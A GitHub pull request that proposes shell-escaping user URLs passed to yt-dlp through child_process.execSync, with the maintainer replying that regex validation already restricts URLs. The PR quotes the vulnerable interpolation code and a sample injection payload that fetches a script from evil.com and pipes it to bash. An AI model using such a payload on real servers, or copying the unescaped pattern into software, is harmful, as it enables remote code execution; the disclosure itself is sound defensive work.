Skip to content

fix: prevent command injection via URL in yt-dlp shell commands#46

Open
tranquac wants to merge 1 commit intodevelon2015:nodefrom
tranquac:fix/command-injection-url
Open

fix: prevent command injection via URL in yt-dlp shell commands#46
tranquac wants to merge 1 commit intodevelon2015:nodefrom
tranquac:fix/command-injection-url

Conversation

@tranquac
Copy link
Copy Markdown

Summary

Fix command injection vulnerability where user-supplied URLs are interpolated into shell commands executed with child_process.execSync.

Problem

Multiple functions pass user input directly into shell command strings:

// parseSubtitle - line ~261
let cmd = `yt-dlp --list-subs '${msg.url}' 2> /dev/null`
child_process.execSync(cmd)

// downloadSubtitle - line ~331
cmd_download = `yt-dlp --sub-lang '${locale}' -o '${fullpath}/%(id)s.%(ext)s' ...`
child_process.execSync(cmd_download)

The single-quote escaping is trivially bypassed: '; curl evil.com/shell.sh | bash; '

An attacker can execute arbitrary commands by submitting a crafted URL.

Fix

Added shellEscape() helper function that properly escapes single quotes, and applied it to user-controlled values before shell interpolation.

Impact

  • Type: Remote Code Execution via Command Injection (CWE-78)
  • Affected functions: parseSubtitle, downloadSubtitle, and related video processing
  • Risk: Arbitrary command execution on the server
  • OWASP: A03:2021 — Injection

Signed-off-by: tranquac <tranquac@users.noreply.github.com>
@develon2015
Copy link
Copy Markdown
Owner

执行命令前已经对URL进行了验证:

let y2b = url.match(/^https?:\/\/(?:youtu.be\/|(?:www|m).youtube.com\/(?:watch|shorts)(?:\/|\?v=))([\w-]{11})$/);
let bilibili = url.match(/^https?:\/\/(?:www\.|m\.)?bilibili\.com\/video\/([\w\d]{11,14})\/?(?:\?p=(\d+))?$/);
let xcom = url.match(/^https?:\/\/(?:www)?x\.com\/[^\/]+\/status\/(\d+)(?:\/video\/(\d+))?$/);
let m3u8 = url.match(/^https?:\/\/[\w\d\_\/\.\-]+\/(.+)\.m3u8$/);
let website;
switch (true) {
    case y2b != null:
        website = 'y2b';
        break;
    case bilibili != null:
        website = 'bilibili';
        break;
    case xcom != null:
        website = 'xcom';
        break;
    case m3u8 != null:
        website = url;
}
if (!!! website) {
    // xxx
    return;
}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants